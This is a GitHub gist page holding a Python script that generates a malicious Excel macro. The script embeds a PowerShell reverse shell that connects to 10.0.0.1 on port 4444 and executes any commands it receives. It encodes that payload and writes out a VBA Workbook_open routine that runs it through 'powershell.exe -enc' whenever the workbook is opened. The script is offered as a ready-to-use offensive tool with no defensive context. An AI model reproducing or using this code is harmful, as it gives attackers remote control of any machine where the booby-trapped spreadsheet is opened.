Skip to content

Instantly share code, notes, and snippets.

@FrankSpierings
Created April 30, 2021 15:30
Show Gist options
  • Save FrankSpierings/70b40ae6fc43252927f35696258f1c06 to your computer and use it in GitHub Desktop.
Save FrankSpierings/70b40ae6fc43252927f35696258f1c06 to your computer and use it in GitHub Desktop.
Generate a XLSM macro from python
import codecs
import base64
data = '''$lhost="10.0.0.1";
$lport=4444;
$MAXCMDLENGTH=65535;
$client = New-Object System.Net.Sockets.TCPClient($lhost, $lport);
$stream = $client.GetStream();
$bytes = (New-Object byte[] $MAXCMDLENGTH);
$out = ([text.encoding]::ASCII).GetBytes("PS $($pwd.Path)> ");
$stream.Write($out, 0, $out.Length);
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$in = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
try {
$out = (iex $in 2>&1 | Out-String);
}
catch {
$out = ($_ | Out-String);
}
$out = "$($out)PS $($pwd.Path)> ";
$out = ([Text.Encoding]::ASCII).GetBytes($out);
$stream.Write($out, 0, $out.Length);
$stream.Flush();
}
$client.Close();'''
data = base64.b64encode(codecs.encode(data, 'utf-16-le'))
BLOCKSIZE = 100
output = 'Sub Workbook_open()\n'
output += 'buf = "powershell.exe -enc "\n'
for block in [data[i:i+BLOCKSIZE] for i in range(0, len(data), BLOCKSIZE)]:
output += 'buf = buf + "{0}"\n'.format(block.decode())
output += 'Shell(buf)\n'
output += 'End Sub\n'
print(output)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment